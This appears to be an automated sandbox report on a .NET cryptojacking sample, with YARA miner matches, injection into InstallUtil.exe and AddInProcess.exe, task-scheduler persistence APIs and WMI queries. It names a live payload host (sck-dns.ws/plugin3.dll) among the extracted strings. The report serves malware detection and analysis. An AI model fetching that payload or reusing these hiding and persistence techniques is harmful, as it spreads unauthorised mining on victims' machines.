Source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: InstallUtil.exe, 00000001.00000002.4255813727.000002465CB40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sck-dns.ws/plugin3.dll
Source: InstallUtil.exe, 00000001.00000002.4145704834.0000024644563000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sck-dns.ws/plugin3.dllp
Source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp, 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D021000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.4145704834.0000024644431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/benchmark/%s
Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown

HTTPS traffic detected: 172.67.173.168:443 -> 192.168.2.4:49734 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 5.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 5.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: AddInProcess.exe PID: 4828, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Code function: 1_2_00007FFD9BA17E6D NtUnmapViewOfSection,

1_2_00007FFD9BA17E6D

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 0_2_00007FFD9BA72785	0_2_00007FFD9BA72785
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 0_2_00007FFD9BA70098	0_2_00007FFD9BA70098
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 0_2_00007FFD9BA72830	0_2_00007FFD9BA72830
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 0_2_00007FFD9BA727C0	0_2_00007FFD9BA727C0
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 0_2_00007FFD9BA73AD4	0_2_00007FFD9BA73AD4
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 0_2_00007FFD9BA739D4	0_2_00007FFD9BA739D4
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 0_2_00007FFD9BA738F2	0_2_00007FFD9BA738F2
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 0_2_00007FFD9BA704F9	0_2_00007FFD9BA704F9
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 1_2_00007FFD9B882B8D	1_2_00007FFD9B882B8D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 1_2_00007FFD9B963121	1_2_00007FFD9B963121
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 1_2_00007FFD9BA0F13C	1_2_00007FFD9BA0F13C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 1_2_00007FFD9BA14642	1_2_00007FFD9BA14642

Source: 2ngxhElaud.exe

Static PE information: No import functions for PE file found

Source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 2ngxhElaud.exe
Source: 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D6B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHxbyesrqv.exe" vs 2ngxhElaud.exe
Source: 2ngxhElaud.exe, 00000000.00000002.1825548079.000001432DFE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHxbyesrqv.exe" vs 2ngxhElaud.exe
Source: 2ngxhElaud.exe, 00000000.00000000.1677267845.000001431B378000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamegood.exe4 vs 2ngxhElaud.exe
Source: 2ngxhElaud.exe, 00000000.00000002.1839324075.0000014335E40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 2ngxhElaud.exe
Source: 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D4CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 2ngxhElaud.exe
Source: 2ngxhElaud.exe	Binary or memory string: OriginalFilenamegood.exe4 vs 2ngxhElaud.exe

Source: 5.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 5.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 5.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: AddInProcess.exe PID: 4828, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: 2ngxhElaud.exe, ParserParameterEntry.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal100.evad.mine.winEXE@5/0@1/4

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\3b64fb9862ddb7761810978aba6d399e
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\6cbe41284f6a992cc0534b

Source: 2ngxhElaud.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2ngxhElaud.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
